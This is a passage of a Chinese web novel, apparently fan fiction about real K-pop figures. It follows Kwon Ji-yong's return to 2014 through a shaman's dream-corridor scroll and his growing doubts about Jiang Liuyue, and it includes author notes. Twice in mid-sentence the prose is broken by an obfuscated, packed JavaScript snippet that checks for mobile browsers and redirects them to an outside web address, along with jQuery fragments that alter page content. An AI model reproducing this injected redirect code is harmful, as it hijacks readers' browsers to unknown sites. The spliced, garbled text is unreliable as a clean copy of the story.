鲜,周围的人也是,一旦吃过海鲜,甚至只是和海鲜在一起待过,回来之后‘奶奶’就会大发雷霆,惹得所有人头痛晕眩,痛苦不已。【注1】 明烛的命也是如此,过着并不自由也不幸福的人生,因此对姜宝银多少有些放纵,本该学习巫术的时候将她送到学校里去过正常 人的生活,本是给她成为巫师之前一些幸福的回忆,结果去助长了她心中的妄念。 姜宝银痛恨‘神灵’,痛恨自己这不受控制的人生,因此才想出了勾引男人怀孕的招数,绝大部分女巫是不允许婚配恋爱的,更 遑论生子,也许对当时还没成年的姜宝银来说,她并非有多爱那个男人,或者多爱这个孩子,她只是选择了一条激进而绝望的反 抗之路。 明烛感受到了她的痛苦,她决定让姜宝银堕胎之后离开这里,但,‘奶奶’却发现姜宝银腹中的孩子,有着更强的天赋。 “我不应该让那个孩子降生的……但,宝银离开之后,我的确需要一个继承人。” 想起往事,明烛发出叹息:“我这自私的贪欲,创造了一个祸患。” 金优降生了。 他的确从小就展现出了非凡的天赋,但,相对应的,他的性格太过软弱,经常日夜啼哭,因为惧怕通灵时见到的‘神灵’而频繁 的做噩梦,歇斯底里的尖叫。 明烛因此对自己当初一念之差导致金优痛苦人生的行为感到悔恨,她想办法试图缓解这个孩童的痛苦,但是她也明白,金优这样 的体质,不管找谁去求助,都可能会成为一个令人垂涎的继承者。 “……我找到了很久之前的朋友,拖她请来了中国的大师。” 韩国的出马仙起源于中国东北的萨满教,明烛请这家中国人代为照顾姜宝银和金优,没料到,姜宝银不久之后勾搭上了男主人, 不久之后干脆离开了韩国,不再受到控制。 2014年的明烛已经独居山林很久,她并不知道姜宝银又回到韩国成为金家外室的事情,听完了权志龙对日后情境的描述之后,她 起身拿出了一个卷轴。 “大概,这个孩子,在之后的时间里,宝银死了之后,拿到了这个东西吧。” 明烛展开了卷轴,权志龙则怔怔的看着。 这个东西,他在年迈的明烛手里也见过,不过当时的明烛使用的是一个看起来还很新的抄本,大概是因为在那条时间线中,原物 已经被金优取走了。 这个卷轴名为“梦游廊”,一个卷轴只能使用一次,卷轴内容为一卷条约,名字处为空白,只要写上这个人的名字、生辰八字,再滴上血,就可让魂魄离体出窍,顺着因果回溯时光,重温自己昔日遗憾。 “人的人生如同一棵大树,不同的选择之下,会衍生出不同的树干,当灵魂回溯,改变了这个分叉,那么,这根分叉所在的位置 就会迅速枯死。” “已经发生的事情不容改变,就算是回到过去,也只能重复过去的经历,并不能改变什么。” 也就是说,这个巫术的初衷,其实是为了一些被执念遗憾折磨得无法生活的人,去梦里面完成自己的昔日遗憾。 这也并不是一个会被随意使用的巫术,一般来说,使用‘梦游廊’的人必须本身已经游离在生死边缘,魂魄和意志力都非常脆 弱,一旦被‘梦游廊’召唤,魂魄首先会来到自己的因果,也就是像是行走在走廊中一样行走在自己的记忆中,在这个过程里,这个灵魂没有自主意识,只是凭借着自己的执念和本能被牵引然后强行投放在自己固有的记忆里,然后进行一个虚假的梦中的循 环。 待到遗憾圆满,南柯一梦之后,灵魂自然得到满足,从自己现实中清醒过来。 所以,这并不是一个被随意使用的东西,因为如果这个灵魂本身没有强烈执念,就极有可能会在因果长廊里迷失自己,又或者被 使者们发现,被引领超度。 但,如果梦游廊是【被使用】的,本人在不知情的情况下进入梦游廊的话,就会因为无法分辨梦境也不懂得要怎么脱离而被困在 其中。 当初,江留月昏睡不醒,权志龙求来的高人就是如此指点的,只是他没有能力唤醒江留月,才会让权志龙找明烛求助。 明烛明白祸端为何而起,虽不能告诉权志龙是谁做的,也倾尽心血改造了梦游廊,将权志龙的灵魂送入了江留月的梦游廊,让他 去寻找江留月的灵魂来唤醒她。 只是,现在一切都出了差错。 “……这一切,本应该在长廊里发生吧。” 权志龙指出自己的疑惑。 按照明烛所说,这一切,‘梦游廊’应该是一个“昔日的遗憾在脑海中被圆满”的精神巫术,不管魂魄离体之后发生什么,身体 都依然在现实中。 权志龙曾经依靠明烛反复进入江留月的‘梦游廊’,他在那个‘梦游廊’中循着江留月的记忆寻找她迷失的灵魂,但他始终都只 是一个闯入者,不管他如何进入江留月的记忆中,只要出现第三者和江留月对话,江留月就会立刻忘记和他发生的一切,变成一 个投影般虚假的存在。 他曾认为那个受伤的江留月会是她的灵魂,但每次他试图跟对方对话,对方就会开始情绪激动,然后消失在风雪之中,他在离开梦境之后找明烛商谈,明烛认为,那也是江留月的记忆碎片之一,只是因为发生的时间点太近加上当时冲击过大,而变成了一个 游离状态,没有人会重返自己濒临死亡的现场去感受这种记忆,因此从那之后,权志龙就克制自己不要再跟受伤的江留月讲话, 而是更加努力寻找江留月真正的灵魂。 只是,还没来得及找到,他却跑到了2014年。 “我为什么会在这里呢?” 权志龙问出了自己真正想问的问题。 2014很好。 一切都还没发生,很好。 一切都来得及挽回,很好。 但。 他不能留在这里。 他要尽快返回梦游廊,他要去里面找到江留月,然后把她带回现实。 “我要怎么做,才能回去梦游廊里面,才能接着去找到她的灵魂呢?” 明烛看着权志龙,忽然轻笑了一声: “有那么一种情况,很巧合,很巧合,巧合到,几乎不会发生的情况。” “梦游廊里的灵魂,只能在梦游廊里游荡,原因是,他们是灵体,还有部分‘魄体’残留在肉身上,灵体是无法离开梦游廊的, 因为他们缺少存在于世界上的容器。” “但是,有那么一种,微妙的情况。” “非常非常微妙,几率小到几乎不可能存在的情况。” “这个灵魂被牵引到了自己的执念之处的时候,处于她执念之处的这个‘过去的她’正好也是濒死的状态,那么,两个本源一体 的灵魂就会都被梦游廊抓取,而在这个时候,执念之处的身体忽然开始好转,身体里的魄的吸引力远强大于灵魂进入梦游廊的身 体时,那这个灵魂就会都跑到更为健康的身体里去。”【注2】 “……濒死……?” 权志龙怔了一下。 他觉得有些混乱,因为他记得自己在来到2014年之前,看到的景象来自于2008年,而且,不管是2008还是2014,他不记得自己有过濒死的时刻。 醒来的时候虽然在医院,但医生说自己只是低血糖罢了…… “与其说是濒死,不如说是生命体征在某个瞬间很弱,比如说休克、昏厥……过于激烈的情绪也可能会引发这种情况,不是 说‘撕裂灵魂的痛苦大于炼狱之苦’吗?”明烛喝了口茶,她叹了口气:“现在看来,你的情况就应该如此。” 明烛说的话,信心量很大,权志龙消化了一会儿,才算是彻底理解。 原来,真的是回到了2014年了…… 可……金优呢? 他也是因为这种巧合,所以回来的吗……? 又或者,他是非常清楚‘梦游廊’功能的人,特意选择了自己有濒死记录的过去? 听起来可行,但……这家伙的目的到底是什么? 改变人生吗? “人的生命就像是一棵树,每当有选择的时候,就会有分叉出现,树木不可能会逆着生长,就像是人不能改变过去。” “但如果神明垂怜,能有再活一次的机会的话,就要好好珍惜,做出无悔的选择才行了。” “你的命运会重新改写,从今天开始的每一天,都会覆盖曾经的你做出的选择,完全是全新的人生……你得珍惜才行啊。” 明烛看着眼前年轻的男人,他有着极贵的命盘,冲天的八字,此时却跪坐在春末的雨水烟雾中一般,眉眼中都透着湿漉漉的阴 郁。 重回过去,这对任何人来说都是想都不敢想的好事。 她有些不懂眼前男人,为何还是这样的表情。 好一会儿,权志龙才抬起头,他的眼睛有些发红,但却很认真的看着明烛:“那么,奶奶,我要怎么才能回去呢?” 明烛愣了一下:“……什么?” 权志龙有些急切的,用颤抖的声音说道:“我要怎么回去……?回去梦游廊里面,然后回到我本来就在的时间里面?” 明烛真的惊讶了:“你这孩子……说什么傻话,你现在想什么呢?你现在可是实打实的回到了那么多年之前,你知道那么的事 情,完全可以扭转人生,不管想做什么都会成功的,还有宝贵的青春,为什么会想要回去呢?” “可是。” 权志龙的声音有些颤抖,他的手也是。 他知道自己放弃了什么,但是,胸口翻涌的情绪逼迫他开口: “可是,那孩子,不就一个人在梦游廊了吗?” “如果这里真的是2014年,那现在在我身边的就是2014年的她,那么……那孩子怎么办……?还躺在病床上,勉强维持着呼吸 的,还等着我的那孩子怎么办?” 明烛觉得荒谬至极:“什么怎么办,你现在开始好好对她,让她不要在未来出事就好了呀,翻来翻去,不都是一个人吗?” “”明烛拍了拍他的手:“只要在这个世界里坚持三个月,你的魂魄就和眼下的身体完全融合,这个世界的法则和神明都会认可 你,就这样平安的好好生活下去就好了。” “至于你说的那个孩子……在你完全稳定之后,你的命重新改写的时刻,命盘就被打翻了,那孩子的命也被改写了。” 明烛又叹了口气,但这次却不是悲伤的情绪,反而有些轻快的感叹:“别忘记你现在的心情,好好对她,不要让她出事,好好相 爱,做白头夫妻不就好了吗?” 看权志龙还是怔忪的样子,明烛为了缓解气氛,开玩笑道:“要不要奶奶给你们算一下姻缘八字?” 权志龙坐在榻榻米上,只觉得心乱如麻,脑子里也乱哄哄的,太阳穴仿佛被什么攻击一样一阵阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036355|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刺痛。 听起来无懈可击。 他很清楚,如果按照明烛所说,那么,只要好好的,就不会存在日后的悲剧。 所有的一切,都会在这一刻改写。 可是为什么…… 会如此的不安呢。 “……如果,我还是想回去的话,到底要怎么办才好?” 权志龙惴惴不安的问道。 明烛拉开抽屉,打开了一个包裹,从里面拿出一面很小的绣着汉字‘回’的旗帜,这旗帜似乎用什么特殊材料的纸做的,透着隐约的光芒。 “滴上自己的血之后再撕碎,同时心里头默念着‘梦游廊’,就能够将灵魂抽取出来,因为你和梦游廊签订了合约,所以灵魂会 再次回到梦游廊。” 明烛将旗帜递给权志龙:“只是,你离开之后,这具身体期间的记忆就会被‘曾经发生过的记忆’覆盖,你的人生又会回归到固 有的样子,什么都没有改变,你明白吧。” “不管谁看,都能做出选择,你这孩子,为什么一直犹豫呢。” 权志龙无法做出选择。 明明是显而易见的答案。 他就是无法做出选择。 明烛不好勉强,只能将他送下了山,并再三告诫他:“最多只能停留三个月,一旦你的灵魂和肉身过于紧密,届时命盘就会重新 认主,你昔日的命运会被尽数碾碎重写,再也无法返回你来的那个地方了。” 权志龙再三道谢。 此时,是2014年的4月16日,距离他来到2014年,已经过去了五天。 “时间过得真快啊。” 江留月喃喃自语。 权志龙今天外出有事儿,她一个人跑到自己的公寓里去收拾一些常用物品,意外的发现了被自己打坏的一个电子台历。 想起来,当时自己睁开眼睛发现自己竟然在阔别多年的单身公寓,很是吓了一跳,赶紧爬起来确认时间的时候,又被电子日历吓 了一跳,当时一个不小心,就摔在了地上。 因为她醒来的这个房间,是专门拿来玩拼图乐高的娱乐室,所以在她当时为了着急确认这个世界是否真实出门之后,她就再也没进来过了。 今天她回来是因为马上就是朋友生日,她来娱乐室挑选几样礼物,结果一进门就看到满地狼藉的乐高碎片和摔得四分五裂的电子 日历。 上面的数字,还停留在那一天。 那是一个颇有几分萧瑟的日子。 江留月慢慢的睁开眼睛。 她先看到了满地的乐高碎片,她揉着疼痛的头慢慢爬起来,晕眩的视线好一会儿才从模糊变清晰。 时间太过久远,她甚至没能认出自己的房间,直到看到墙壁上挂着权志龙为她画的油画肖像。 她一度认为自己在做梦,下意识的四处张望,目光落在了电子日历上。 2014年3月7日13点27分。 “……?” 江留月还以为自己看错了,因为她记得,自己回韩国来的时候,明明还没有过年呢,怎么一下子窜3月份去了? 她撑着晕乎乎的身体起来,只觉得手脚严重不听使唤,好一会儿才找到了正确的使用方法,跌跌撞撞的起身走到柜子边拿起了台式的电子挂历。 她以为东西坏了,于是下意识拿起来想调整一下,但是手腕和手指都不听使唤,电子挂历直接掉在了地上,砸了个四分五裂。 也就是那一刻,挂历上的时间,就此静止。 “已经两个多月了呢。” 江留月将碎片捡起来,只觉得心绪复杂起伏,但她也没有多想,抬起手,将台历丢向了垃圾桶。 她准头极好。 不管是那已经被清空,但又被她重启了投篮功能的咧嘴娃娃。 还是远在房间另一头的垃圾桶。 台历十环入坑,只发出一声闷响。 =======重要备注一定要看: 注1:韩国的巫女巫师是指定制,不是拜师那种,而是生下来小孩子会有通灵体质这种,如果不从事这个行业就会一直生病、倒霉甚至祸及家人,有兴趣的小伙伴可以去搜一下,我记得有个综艺出演的素人女孩就是一直抗拒着这样的命运,靠自己的努力考上了银行当上了职员,最后还是因为得病太重了不得不去从事了巫女行业。 注2:为了防止这里讲的不够清晰,我来举例说明:塔伊的灵魂进入梦游廊的时候,她的肉身其实是还活着的,并残留着魄,这个魄就是等于一条风筝线吊着她游荡的灵魂,当她的灵魂想回来的时候,得沿着这条线回来,如果魄没了,那肉身就死了,灵魂就只能留在梦游廊等待使者超度去黄泉;梦游廊里面可以理解为一个长长的走廊里有各种房间,打开之后是自己的回忆,执念或者本能会引导灵魂去打开房间进入记忆里面成为‘自己’去改变或者弥补一些事情,但这个其实是发生在虚幻中,现实中,她的人生是没有被改变的; 因为当灵魂得到圆满之后,回到的是原本的身体,在这个身体所在的时间线里,已经发生的事情是不能被修改的。(简单来说就是24塔伊的灵魂在梦游廊里改变人生之后,回去又是在24身体里苏醒,她所在的世界里其实什么都没改变,只是她自己有了一段幸福的回忆——类似于那种弥补快死之人的遗憾的道具) 但当塔伊的灵魂来到14年的时候,正巧14年的塔伊也出事了,她因为濒死的情况,灵魂脱离了身体,因为梦游廊的房间是2014年曾经发生的一切,所以这个灵魂属于在【2014年的房间里活动】的情况,当塔伊【推开门进入2014年的时候】,两个本就同源的灵魂就融合了,此时,就有了两条风筝线,一条来自于24塔伊的,一条来自于14塔伊的,因为14塔伊的身体情况比24塔伊的要好得多,在加上一些不方便剧透的原因,她因此顺着更明显的风筝线来到14年的身体里苏醒。 也就是说,没有平行空间或者两个塔伊的设定,14塔伊和24塔伊是一个人,因为24塔伊拥有14塔伊所有的记忆,所以直接同源归一了。 但是龙哥是意识清醒的知道自己来自于梦游廊的,他是因为14龙的情绪波动过大趁虚而入的,14龙本身也精神力强大,再加上他进入梦游廊不是自己的(等于他和龙哥互换了),且14龙和24塔伊相处过之后产生了不属于24龙的记忆,所以14龙没办法被同源归一,和24龙一整个属于身体里大内斗的状态,24龙虚弱的话,14龙会回来的。 44.爱与罚 43.爱与罚 随着时间的流逝,人会没有底线的开始怀念过去。 甚至是敌人。 * 全世界大概也没有几个人真的能回到属于自己的过去,这种感觉在权志龙重新站在演唱会后台的时候,变成了姗姗来迟的不真实感。 到底是多年后的权志龙回到了2014年,还是2014年的权志龙只是做了一个漫长的梦? 权志龙要摸到口袋里小旗帜那类似于丝绸的冰凉触感的时候,才能反复确定。 过去的时光绝不是一场漫长虚无的梦境,而是他踏踏实实走过的每一寸时间。 回去,还是不回去? 权志龙没有想的那么洒脱。 回去之后,这里的一切会回归他记忆里那样吗? 留下来的话,他有能力改变这一切吗? 所有人的渴求的权力在他的手里,他却陷入了很深的迷茫之中。 人的一生一定是有很多遗憾和不圆满的。 他亦如是。 ‘好好照顾那个孩子,让她不要出事,不就好了吗?’ 明烛的话语在耳边反复回想,哪怕权志龙拼尽全力将自己的思绪集中在还躺在医院里的江留月身上,也难免受到其中困扰。 “为什么看起来那么多心事啊。” 化妆师姐姐用手摁了一下权志龙拧紧的眉心:“放松一点,开心点,粉丝们可是都等着呢。” 此时是YG family con的高阳加场开始前一个小时,结束完这场演出之后,他们预计在日本巡回一周,然后到中国和东南亚巡回 两周,结束今年的家族巡回演唱会。 权志龙将心中杂念摒除,尽量放松自己配合化妆师的动作。 好在那么多年过去了,舞蹈音乐早就是肌肉记忆,看着身边年轻许多的成员们,权志龙心中也是涌起无数情绪又被尽数压下,粉 丝们的欢呼,成员们搭在肩膀上的手,早就不再被演唱的歌曲…… 有那么好几个瞬间,强烈的幸福感冲击到权志龙脑子里蹦出无数个想要留在这里的念头,又被他密密麻麻的镇压。 越是到了舞台上,也是能感受到年龄不同带来的诱惑。 年轻的身体,澎湃的生命力,感受不到滞涩的关节,稳定的声带…… 像是梦幻一样的时间结束之后,权志龙很匆忙的下了舞台,然后自己找了个安全楼梯口进去,抖着手给自己抽烟,然后是迫不及 待的狠狠地抽了好几口,然后呛得自己一个劲儿咳嗽。 不妙啊。 简直非常糟糕。 所经历的一切,都在诱惑着他。 停下来,停下来,就在这里停下来。 你人生中所有的遗憾,所有做错的选择,在这个时间里,都可以被扭转更正。 “你没事吧?” 察觉到他的不对劲儿,东永裴追了过来。 权志龙疲惫的摇了摇头。 “你状态很不对劲儿。” 东永裴知道自己的死党是个多么爱逞强的家伙,因此并没有那么容易放弃,而是走得更近了一些:“……真没事儿吗?” 东永裴有些担心是因为江留月的事情搞得权志龙心神不定,但他做了好一会儿心理准备,也没办法跟权志龙交底说自己知道的事 儿。 还是说已经知道了?所以才会在公开会议室上对金优发那种脾气。 说起来,从那天之后,就没见过金优了……不会…… 东永裴悚然一惊。 “你、你可别干什么过分的事情啊。” 他犹犹豫豫的说道:“而且,宽恕一个人是一种美德。” 权志龙没回答他,而是又点了根烟之后,呼出一口浓重的烟雾,看向东永裴:“永裴,我能问你一个问题吗?” 东永裴:“……” 他有一种很强的不好的预感。 如果权志龙这个时候问他,杀了人要怎么处理,他是帮忙还是包庇还是让权志龙赶紧跑啊? 在他的精神高度紧绷下,权志龙慢悠悠的开口了:“永裴,如果你现在有能够穿越到过去的机会,你会选择放弃现在的人生,回 到过去吗?” 这是什么莫名其妙的问题。 东永裴几乎是脱口而出:“为什么,我现在很幸福啊。” 权志龙愣了一下,然后忍不住轻笑了一声。 说不通啊。 毕竟这是一种假设。 权志龙不知道要怎么跟东永裴解释自己现在的处境,随即又道:“如果你现在不幸福呢?不幸福的时候,可以回到过去呢?” 东永裴发现自己有点搞不懂自己的朋友了。 大约又是什么艺术家的奇思妙想吧。 他只能凭借自己的本能,做出忠于内心的耿直回答:“回到过去又能改变什么吗?我就算改变了选择,也不一定是好的结局吧, 问题难道不是现在不幸福吗?现在不幸福的原因,就是在现在吧,那问题就应该现在解决吧。” 权志龙没有说话了。 他只是将香烟塞回了自己的嘴里,淡淡的烟雾缭绕,带来一点随时会烧灼到自己的温度。 他烦闷的思绪,像是这烟雾一样将他包裹。 “永裴。” 过了好一会儿,权志龙笑着说:“我好像变得软弱了。” 不只是软弱。 权志龙想。 他还变得更加自私和贪婪了。 只是尝到了甜头,看到了一条岔路口,本来信誓旦旦要走下去的路,就一下子想要放弃了。 “你最近是太累了才会想这些,去日本之前好好的休息几天吧。”东永裴见他精神状态有些萎靡,也不好说太多,他抬起手看了 看表:“我和Alice的舞台要开始了,我得先走了。” 权志龙嗯了一声没有动。 东永裴很古怪的看了他一眼,补充道:“我说,我和Alice的舞台要开始了。” “……啊。” 权志龙有些茫然。 “你……你不是最近只要是Alice的舞台就一定在旁边看吗?”东永裴搞不懂他了。 记得是从彩排之后吧,权志龙对江留月的舞台突然变得非常上心了,不仅看了她的每次舞台,还将视频反复刷了很多遍。 本以为是小情侣之间的黏黏糊糊,但不知道为什么,权志龙看着江留月舞台的表情总是很严肃。 权志龙没有这种记忆,尽管是小情侣,他也没有粘人到江留月每个舞台都要守着的地步,更何况这种家族con台上在演台下就在 拍花絮,哪有给他缠缠绵绵的时间。 他后知后觉的想起来,这条时间线上,江留月的人生发生的改变,她做的银发造型,也即将出新专辑了,而且和东永裴的合作舞 台大受欢迎。 这种变化,会是金优带来的吗? 他如果离开了这条时间线,江留月的事业也会因此‘拨乱反正’的回到他记忆里那样吗。 说起来,2014年的江留月似乎没什么让他记住的舞台,没有新歌,更没eback,年底的时候在某个电视剧里客串了一个角 色,然后第二年开春去了日本……吧。 权志龙惊觉他脑海中关于2014年江留月的记忆变得模糊了不少,看着江留月银发造型时的古怪违和再次涌上了他的心头。 权志龙将手里的烟头捻灭。 “一起走吧,我去看看。” 江留月的声乐老师就是曾经教导过bigbang的声乐老师,这位老师有着独特的发声技巧,可惜并不适配所有人。 随着bigbang自己开始做音乐,大家就发现,这种不科学的发音方式很伤喉咙,因此后面大家陆陆续续找了新的老师,也有换了 新的发音方式发现音色会因此变得艰涩的,为了舞台效果好,硬着头皮使用以前发音方式的。 江留月的发音方式就不太适合她,她在进入20岁之后,变化尤为明显,但江留月的音乐相关工作不多,也一直没有取得特别亮眼 的成绩,后面她基本转型为半歌手半演员,相关的后续工作就一直没跟上。 权志龙倒是给她调整过几次,但他自己本身也不是什么专业的声乐老师,录制的时候指点一下还行,关乎到发音方式,他一直没 有过多干涉。 但不管怎么样,江留月之前的歌曲录制,他基本都跟了全程,对于江留月的音色、音域和发音方式,他熟悉得不能再熟悉了。 因此,在江留月唱出第一句的时候,权志龙本来靠在架子上懒散的身姿,忽然就绷紧了。 舞台上,江留月身穿一袭晕染冰蓝色的裙子站在冷色调的灯光之下,整个人如同冰雕玉琢,声音清透,如同碎冰流淌、金击玉 石,让人光是看着就如同清爽的冷气扑面而来,心都跟着沉静下去。 权志龙的心却在瞬间被丢入滚油沸汤。 他是个非常专业的音乐人,有着刁钻的耳朵,不知道和多少全球顶尖歌手合作过,但凡对方一开嗓,就能精准抓住对方的音域音 色,听出对方的呼吸节奏、发音方式。 权志龙猛然深吸一口气,低下头呛咳起来。 旁边的人吓了一跳,赶紧跑过来扶着他问他要不要紧。 权志龙挥着手示意自己没事儿,其实根本听不清楚对方在说什么,江留月那极具有穿透力的歌声如同深海的塞壬,冰做的尖刺猛 然刺透他的耳膜。 不管事业线如何改变。 不管自己不知情的时候,发生了什么。 江留月此时此刻使用的呼吸法和发声方式,都来自于2018年之后才开始在业界活跃的日本声乐大师光景茉莉。 这位声乐大师早年间大隐隐于市,实则是许多日本实力歌姬的辅导老师,2018年,光景茉莉在音乐访谈中公开谈论到了自己近期 为了弥补先天气息短促,后天锻炼无法弥补的歌手而发明了一种特殊的发声方式,使用有节奏的呼吸来弥补这方面不足,两者结 合之后能很大程度上净化声音杂质,提升歌手的稳定性。 这在演唱必须开麦的日本歌谣界来说是一个重磅炸弹,许多录音完美但现场灾难的歌手因此获益匪浅,权志龙当然也有所关注。 当然,让他深深记住这位大师的,还是因为他发现江留月跑到日本去找光景茉莉学习,不久之后的舞台上,她就更换了从YG学来的发音方式,从此,她的舞台上,人生中,YG的痕迹越来越淡,直至消失。 权志龙在日本活动多年,后来也见过光景茉莉,两个人的聊天不可避免的谈论到这种让光景茉莉名声大嘈的发音法。 光景茉莉告诉他,是因为有一个地下乐队的主唱百折不挠的打动了她,她在帮助对方完成梦想之后觉得这种发音方式可以造福更 多人,因此花费了一年多的时间才将这个发音法整理出来。 光景茉莉还送了一张这个地下乐队的CD给权志龙,希望他能帮忙宣传一番,权志龙清晰的记得,那张专辑上印着的发表日期,是 2018年的4月。 “没有这个孩子的话,我根本就不能整理出来这套发音方式,包括博士他们的配合。”光景茉莉为了验证这个发音法,还请了许 多专家和志愿者进行反复试验:“大家都是了不起的存在呢。” 即便。 金优提前数年回来了。 即便。 江留月在自己不知情的情况下,在已经偏离记忆的时间里,认识了什么人,甚至干脆认识的人就是光景茉莉。 光景茉莉也无法再不认识那个声音条件特殊的乐队主唱、没有医生团队的帮忙、没有志愿者的实践的情况下推出成熟的发音法。 啊,还有。 这首歌。 2014年的江留月,要怎么学会一个要在2018年才被发明的发音法,并熟练的掌握它,并在权志龙面前唱出她2020年发表的歌曲 呢? 权志龙抖得厉害,他站也站不稳,脸色煞白,工作人员吓得赶紧将他搀扶到沙发上,又是扇风又是擦汗,他却连他们在叫什么都 听不清楚。 他眼前一会儿是江留月银色的头发铺在他的膝盖上,一会儿是她勾着自己的脖子撒娇说‘最爱你了’,一会儿是她挽着自己的手臂在看综艺,一会儿是她转着圆溜溜的眼睛看着他,叫他志龙哥。 权志龙一个接着一个的打着冷颤,想说话又说不出来,他无数次抿着嘴唇想要让自己冷静下来,却怎么都无法控制住自己汹涌的 情绪。 他眼眶又热又烫,但是一滴眼泪都掉不出来,只是有些发红。 他想起来他们在日本偶遇,江留月带着一顶软软的毛线帽在便利店买吃的,他透过玻璃看到她的侧脸,却鼓不起勇气上前。 他想起他在木兰吃饭,吃完了准备走的时候才知道江留月就在他隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046746|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁包厢吃饭,早在半个小时之前就走了。 他想起她晒出自己的银发造型,附上文字说‘没有想得那么痛’。 他想起的事情太多太多,纷杂的画面涌入脑海,权志龙因为疼痛而到抽一口冷气,下意识的抬起头想要让自己沉重的大脑好过一 些。 权志龙看到结束了舞台的江留月站在门口,她还穿着舞台上的纱裙,身上披着工作人员给的小毛毯,银色的头发散落在肩头,无 意识的张开嘴去叼工作人员递过来的吸管喝水,懵懵懂懂的往他这边走。 她从舞台下来要走好几个台阶,大家怕她着急摔了谁也没敢说权志龙出事,只等她平稳落地。 权志龙看见她从高处往下走,旁边有人为她提起裙摆,她佩戴着美瞳的双眸看过来,不是熟悉的黑色眸子,而是透着无机质冰冷 感的宝蓝色。 权志龙看到2023年巴黎,她也是这样从秀场的台阶上走下来,慢吞吞的走到他的身边来一起接受采访。 他们很久没见了。 可当她站在他身旁的时候,他几乎是下意识的打开一条手臂,让她站在更贴近他的位置。 江留月站定的时候,他能闻到她身上熟悉的香气,她被编起来的头发有点点炸毛,他的手腕搭在她肩膀上的时候,有意无意的被 触碰到。 他当时脑子乱哄哄的,只知道机械的回复她的话,干巴巴的问她过得好不好。 她笑着说很好,权志龙无法透过那戴着紫罗兰色美瞳的双眼看清楚她的情绪,但总觉得她嘴角一直再往下撇,看着很不开心。 他判断不出她不开心的理由。 只觉得这没见面的六年都是假的,他们不曾分开过,江留月马上就要凑过来,撇着嘴,用带着鼻音的声音撒娇抱怨吐槽,法国的 天气、交通和这个房间里令人难以忍受的冷气,她永远吃不习惯的饭和法国男人们过于热烈直白的眼神,她总是不喜欢设计师们 的肢体接触,不喜欢贴贴脸亲亲脸,她总是被外国人当小孩子,她不喜欢去香奈儿店里也不想待会儿陪他去逛什么艺术品,她要回酒店的房间回首尔的家里面去穿着睡衣看电视。 明明江留月只说了一句‘很好’,权志龙却莫名觉得她一直在喋喋不休的抱怨吐槽,他几乎是下意识的想要摸摸她的头,抬手却 碰到了她发间闪闪发光的宝石。 江留月偏过头望着他,带着点疑问。 权志龙收回了手,觉得自己像是陷入了幻觉,中毒了一般。 “哥……哥你怎么了?” 后台冷气十足,周围的人还围着权志龙一个劲儿扇风,权志龙浑身都冷,直到江留月软乎乎的手捂住他的脸,才觉得有了点热 度。 权志龙看到她皱巴巴的小脸蛋,细细的眉毛拧成一团,就连鼻子都因为紧张而用力绷着,他从对方的眼睛里看到自己大汗淋漓的惨白的样子。 他抖着手抓住了江留月的手臂,只是一个劲儿的吸气喘气。 太阳穴突突跳动,他仿佛被人用什么尖刺反复攻击。 他将头靠在江留月的怀里,整个人都在打哆嗦,他用力的抓着她,用力到江留月一个劲儿抽气:“志龙哥,疼,疼,你弄疼我 了。” 权志龙脑子并不清醒,但却下意识地稍微将手松开,他有些虚脱,太多的记忆涌入让他很难受,他无法分辨眼前是真的,还是假 的。 如果是真的,眼前怎么会有一个银色头发的江留月半蹲在他面前,用担忧的目光看着他。 他记得,她一头银发的时候,他已经见不到了。 他只能偷偷跑到江留月的社媒去看她的近况,然后发现对方把社媒里关于他的内容都给删了,不光是他……是所有人,她把自己 之前的那些内容都给清空了。 【没有想的那么痛。】 其实,比想得痛多了,权志龙想,他气得要发疯了,他也要删掉她的,他点进去自己的社媒翻到她的内容,删了一条,就受不 了了。 比想象中的还要痛。 那条内容被删除之后,她曾经在那条状态下的回复也不见了。 权志龙又跳到第二条。 他下不了手。 可他太难受了,怎么都咽不下这口气,他就气鼓鼓的把所有的关于她的状态都给隐藏了。 他一条一条点过去,一条一条的隐藏。 眼泪一滴滴的落在屏幕上。 ‘为什么这样痛苦的事情你做起来那么容易啊臭丫头。’ 权志龙真咽不下这口气。 他要找其他人也隐藏江留月相关,其他人骂他疯了,说这样一定会上头条的,他不管,他要逼着别人隐藏,他不能自己一个人难 受。 这边还在拉拉扯扯,那边还真有没眼力见的后辈真的把江留月相关删了,权志龙又觉得自己无法接受,他立刻将那个后辈给取关了,把对方的动态全给删了。 这下所有人都要骂他是个神经病了。 “她只对不起我,又没有对不起你们,为什么要这样对她!!” 权志龙比谁都大声。 他说完又觉得无数委屈涌上来。 权志龙视线清晰又模糊,眼前的人似乎一直没有消失。 “……你是谁啊。” 他用颤抖的声音问道。 江留月愣了一下,然后半是担忧半是好笑的回答道:“志龙哥,你真傻了吗?我是塔伊啊。” 她想要活跃一下气氛,故意做了个鬼脸:“是塔伊,是Alice,是哥的妹妹也是YG最漂亮的小孩,哦,现在还是个医护人员呢, 权志龙患者nin,你好点了吗?” 她怪里怪气的,周围人都被逗笑了。 权志龙也想笑一下,却怎么都扯不动嘴角。 塔伊。 你知道在这个瞬间,哥在祈祷什么吗。 我在祈祷,你是假的。 你就是2014年的你。 你绝非来自于那个冰冷的房间,来自于我们之间将近二十年的时间,来自于茫茫的大雪中。 因为我已经无法分辨你的真心,或者谎言了。 